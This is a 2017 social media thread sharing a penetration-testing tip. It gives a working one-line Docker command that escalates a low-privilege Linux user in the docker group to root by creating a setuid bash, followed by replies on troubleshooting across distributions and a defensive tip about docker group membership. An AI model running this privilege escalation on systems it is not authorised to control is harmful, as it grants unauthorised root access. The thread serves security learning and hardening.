Rich LarsonApr 18, 2017
zacharykeeton

HACKER TIP: If you pop a low-priv linux shell. Don't forget to check if the user is in the "docker" group. If so, a root shell is only one line away:

$ docker run -v /home/${USER}:/h_docs ubuntu bash -c "cp /bin/bash /h_docs/rootshell && chmod 4777 /h_docs/rootshell;" && ~/rootshell -p

screenshots and more here on my (crappy) blog: http://zacharykeeton.com/Linux_Privilege-Escalation-with-Docker/

SysAdmin tip: Don' t add any nonsudoers to the 'docker' group!

Apr 17, 2017 at 5:26pmWeb
Show threadRoyal Rivera:tophat: Apr 17, 2017
@zacharykeeton Considering i know where envy is from... You should probably redact the name ;) OSCP can revoke your admission/certificate for something like this
Show threadzacharykeetonApr 17, 2017
@r4stl1n lol... thanks but, nah it's my own HP envy. Plus, I haven't seen anything as new as docker running on any oscp lab machines.
Show threadRoyal Rivera:tophat: Apr 17, 2017
@zacharykeeton Lol ok making sure brother! Also awesome trick..ill add it to my back pocket :)
Show threadzacharykeetonApr 17, 2017
@r4stl1n thanks for looking out :wink:
Show threadMike Patton ✅Apr 19, 2017
@zacharykeeton Didn't work for me on my box. I got an error "/home/test/rootshell: error while loading shared libraries: libtinfo.so.5: cannot open shared object file: No such file or directory"
Show threadzacharykeetonApr 19, 2017
@machiavelli what distro? The command here runs an Ubuntu container on an Ubuntu host. You might have to adjust it if you are on RHEL or arch-based distro.
Show threadMike Patton ✅Apr 19, 2017
@zacharykeeton Fedora 24. The ubuntu container ran but then I got the error.
Show threadzacharykeetonApr 19, 2017
@machiavelli try fedora container
Show threadLouis Muloka Apr 19, 2017

@zacharykeeton

Neat. You break out of the container over at https://contained.af/ ?

Show threadzacharykeetonApr 19, 2017
@muloka nope never heard of it. It'll have to check it out sometime
Show threadSnuffy ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅Apr 19, 2017
@zacharykeeton @Hueeeeeeeee check this out.